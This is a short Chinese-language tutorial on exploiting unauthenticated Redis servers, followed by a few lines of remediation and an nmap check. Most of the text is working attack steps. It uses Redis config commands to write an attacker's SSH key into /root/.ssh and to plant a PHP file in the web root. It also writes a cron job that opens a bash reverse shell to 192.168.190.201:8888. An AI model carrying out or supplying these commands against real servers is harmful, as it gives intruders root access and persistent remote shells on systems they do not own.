Redis未授权访问利用

漏洞利用:
redis的利用主要是通过config动态修改配置,修改快照存储的文件名称和位置,来写入SSH key 、webshell、crontab。
1)如果ssh端口开放,可直接把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set xxxx "生成的公钥"
save
exit

2)如果ssh端口未开放,可以写到crontab 里执行反弹。
利用方式如下:

echo -e "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.190.201/8888 0>&1\n\n"|/usr/local/bin/redis-cli -h 192.168.192.120 -x set 1
/usr/local/bin/redis-cli -h 192.168.192.120 config set dir /var/spool/cron/
/usr/local/bin/redis-cli -h 192.168.192.120 config set dbfilename root
/usr/local/bin/redis-cli -h 192.168.192.120 save

PS:
偶然发现当反弹IP写为8.8.8.8的时候,redis内容正常

127.0.0.1:6379> get 1
"\n\n*/1 * * * * bash -i >& /dev/tcp/8.8.8.8/2333 0>&1\n\n\n"

但是save持久化后,定时任务写入的是乱码,如下:

123

有些IP不行 还有10.10.10.10等写入的时候不正常。

3)针对Web服务如果知道web路径(例如phpinfo)可以直接写shell。

[root@vincent src]# ./redis-cli -h 172.16.100.151
172.16.100.151:6379> config set dir /var/www/html/
OK
172.16.100.151:6379> config set dbfilename redis.php
OK
172.16.100.151:6379> set webshell "<?php phpinfo(); ?>"
OK
172.16.100.151:6379> save
OK

漏洞修补:
1)禁止以Root权限启动redis
2)redis设置认证密码
3)SSH限制外网访问

nmap脚本:
nmap -p 6379  –script redis-info 127.0.0.1